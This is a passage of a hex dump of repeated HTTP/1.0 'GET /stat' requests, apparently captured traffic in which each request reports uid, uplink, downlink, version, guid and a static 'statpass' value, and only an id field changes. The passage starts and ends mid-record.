0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313832 44303626 73746174 70617373   0182D06&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313834 30444326 73746174 70617373   01840DC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313835 34413326 73746174 70617373   01854A3&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313836 38373926 73746174 70617373   0186879&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313837 43334626 73746174 70617373   0187C3F&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313839 30323526 73746174 70617373   0189025&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313841 34304226 73746174 70617373   018A40B&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313842 37463126 73746174 70617373   018B7F1&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313843 42443626 73746174 70617373   018CBD6&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313844 46434326 73746174 70617373   018DFCC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313846 33413226 73746174 70617373   018F3A2&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313930 37383826 73746174 70617373   0190788&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313931 42414326 73746174 70617373   0191BAC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313932 46393226 73746174 70617373   0192F92&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313934 33353826 73746174 70617373   0194358&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313935 37314626 73746174 70617373   019571F&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313936 41443626 73746174 70617373   0196AD6&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313937 45414326 73746174 70617373   0197EAC&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313939 32393126 73746174 70617373   0199291&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313941 36353826 73746174 70617373   019A658&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313942 41324526 73746174 70617373   019BA2E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313943 45303426 73746174 70617373   019CE04&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313945 31424226 73746174 70617373   019E1BB&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313946 35383226 73746174 70617373   019F582&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314130 39323926 73746174 70617373   01A0929&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314131 43443026 73746174 70617373   01A1CD0&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314133 30373726 73746174 70617373   01A3077&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314134 34324526 73746174 70617373   01A442E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314135 37453526 73746174 70617373   01A57E5&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314136 42394326 73746174 70617373   01A6B9C&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30314137 46353326 73746174 70617373   01A7F53&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
